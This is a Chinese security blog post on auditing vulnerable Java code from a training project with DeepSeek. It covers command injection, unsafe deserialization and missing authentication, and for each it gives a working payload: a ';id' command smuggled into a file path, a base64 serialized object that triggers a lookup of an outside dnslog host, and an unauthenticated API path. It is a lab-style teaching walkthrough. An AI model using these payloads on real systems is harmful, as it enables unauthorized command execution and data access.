利用DeepSeek进行java代码审计,好用!

flower2025-02-10文章来源:SecHub网络安全社区


(漏洞代码来源:Hello-Java-sec)
首先给大家放一段简单Java源码大家可以自行试试能否审计出漏洞:

public static String processbuilderVul(String filepath) throws IOException {
    String[] cmdList = {"sh", "-c", "ls -l " + filepath};
    ProcessBuilder pb = new ProcessBuilder(cmdList);
    pb.redirectErrorStream(true);
    Process process = pb.start();
    // 获取命令的输出
    InputStream inputStream = process.getInputStream();
    BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
    String line;
    StringBuilder output = new StringBuilder();
    while ((line = reader.readLine()) != null) {
        output.append(line).append("\n");
    }
    return output.toString();
}

行三可知利用ProcessBuilder调用行二中可以审到的ls命令进行查看文件,因为存在filepath参数,攻击者可在此拼接恶意代码进行攻击,接下来让我们看看DeepSeek的审计过程:

在审计过程中给予了我们具体的payload思路和多种利用方式,我们可以尝试DeepSeek的思路构建参数:

filepath=/tmp;id

我们使用;进行命令拼接,前半段他会正常执行代码中的ls命令读取查看/tmp随后因为我们使用特殊符号拼接了恶意命令所以执行完ls就会执行id:

DeepSeek还提供了多种的修复方式:

再来试试序列化代码:


public String cc(String base64) {
    try {
        base64 = base64.replace(" ", "+");
        byte[] bytes = Base64.getDecoder().decode(base64);
        ByteArrayInputStream stream = new ByteArrayInputStream(bytes);
        // 反序列化流,将序列化的原始数据恢复为对象
        ObjectInputStream in = new ObjectInputStream(stream);
        in.readObject();
        in.close();
        return "反序列化漏洞";
    } catch (Exception e) {
        return e.toString();
    }
}

java中的readObject可以读取输入,并且把它们转换对象,而ObjectInputStream.readObject()是将输入流中读取需要,再将其反序列为对象,这也就符合反序列化漏洞的特征,而要注意的就是代码中会把读取的输入用Base64解密,所以我们要构建payload时应是Base64加密的。

然后再一起看看DeepSeek的审计:

同样,DeepSeek漂亮的完成的审计工作,并且再次为我们提供了攻击思路和方法:

先生成payload:

?base64=rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QAEDZraGRjby5kbnNsb2cuY250AABxAH4ABXQABGh0dHBweHQAF2h0dHA6Ly82a2hkY28uZG5zbG9nLmNueA==

随后执行看看效果:



最后给大家放一个未授权访问漏洞,也是我在实战中经常遇到的漏洞:

@Override
public void addInterceptors(InterceptorRegistry registry) {
    registry.addInterceptor(new LoginHandlerInterceptor())
    .addPathPatterns("/**")
    .excludePathPatterns("/vulnapi/unauth/**", "/css/**", "/js/**", "/img/**");
}

很简单的一段代码,由于代码对一些接口未做权限鉴别,所以我们可以通过这些未鉴权的接口访问未授权的信息。例如:/vulnapi/unauth。

DeepSeek审计:

构建payload:
/vulnapi/unauth/api/info

成功访问!

总结:
在此前笔者也用过许多星火,Chatgpt等等智能大模型,经过逐个迭代它们的代码审计能力也大幅提升,但如今DeepSeek横空出世,在使用时可以明显感受到的是DeepSeek所输出的内容更加细化,在使用星火写代码或是审计代码时它出现的最大的问题就是逻辑不清晰,所以需要我们花费更多时间去构建自己的语言让其理解我们的想法,但DeepSeek很好的优化了逻辑能力,大大缩减了我们在这上面所花费的时间,在使用时唯一感到不足的就是DeepSeek因为近期众所周知的攻击事件回复速度大幅增加,有很长一段时间还会处于超时状态,希望DeepSeek能早日度过难关让中国AI技术紧跟并领先世界先进水平!